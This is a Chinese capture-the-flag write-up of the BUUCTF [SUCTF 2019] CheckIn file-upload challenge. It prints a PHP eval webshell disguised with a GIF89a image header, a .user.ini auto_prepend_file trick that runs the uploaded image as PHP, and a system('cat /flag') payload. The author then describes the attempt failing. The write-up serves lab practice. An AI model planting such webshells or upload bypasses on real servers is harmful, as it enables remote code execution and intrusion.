当前位置: 首页 > news >正文

106,【6】 buuctf web [SUCTF 2019]CheckIn

进入靶场

文件上传

老规矩,桌面有啥传啥 

过滤了<?

寻找不含<?的一句话木马

文件名

123(2).php.jpg

文件内容

GIF89a?
<script language="php">eval($_GET['123']);</script>

 123即密码,可凭借个人喜好更换

再上传一个文件将jpg文件变成php文件执行 

这里用到.htaccess发现不行

尝试.user.ini

文件名

123(3).user.ini

文件内容

GIF89a
auto_prepend_file=123(3).php.jpg

 

文件名

123(3).php.jpg

文件内容

GIF89a
<script language='php'>system('cat /flag');</script> 

 

 按理说该查看即可得到flag了

但查看时为空

看看是哪步出了问题

没有上传成功

修改文件名,还是上传不成功

摧毁靶机,重试

 

要么url中81就不见了,像上图 

要么返回上传页面

还发现不管上传什么路径都不变,尝试上传下面这张图片,还是那个路径,不是,路径变都不变,还是没上传成功,访问不到,这只是一个中规中矩的图片

 尝试修改文件那么多遍,合着题目有问题

我再最后改一次

再开启一次靶场

还是不行

净是些让人破防的题

想到见到了很多次状态码500,搜搜看什么意思

so???????????????????????????????

 

http://www.lryc.cn/news/532097.html

相关文章:

  • 基于Ubuntu2404搭建Zabbix7.2
  • OPENGLPG第九版学习 - 着色器基础
  • Android 使用ExpandableListView时,需要注意哪些细节
  • redis简介及应用
  • Electron使用WebAssembly实现CRC-8 MAXIM校验
  • 人工智能赋能企业系统架构设计:以ERP与CRM系统为例
  • NacosRce到docker逃逸实战
  • Linux:文件系统(软硬链接)
  • 在Spring Cloud中将Redis共用到Common模块
  • 如何解决 Vue 应用中的内存泄漏
  • 什么是物理地址,什么是虚拟地址?
  • find 和 filter 都是 JavaScript 数组的常用方法
  • MVC、MVP和MVVM模式
  • 基于RTOS的STM32游戏机
  • 【CPP】CPP经典面试题
  • WPF基础03——InitializeComponent()函数解释
  • 如何在自己mac电脑上私有化部署deep seek
  • iOS 老项目适配 #Preview 预览功能
  • 7 与mint库对象互转宏(macros.rs)
  • pytorch实现变分自编码器
  • Node.js与嵌入式开发:打破界限的创新结合
  • Noise Conditional Score Network
  • 低代码系统-产品架构案例介绍、蓝凌(十三)
  • 51单片机 02 独立按键
  • 2021.3.1的android studio版本就很好用
  • CSV数据分析智能工具(基于OpenAI API和streamlit)
  • 移除元素-双指针(下标)
  • 蓝桥杯备赛题目练习(一)
  • FortiOS 存在身份验证绕过导致命令执行漏洞(CVE-2024-55591)
  • 【多线程】线程池核心数到底如何配置?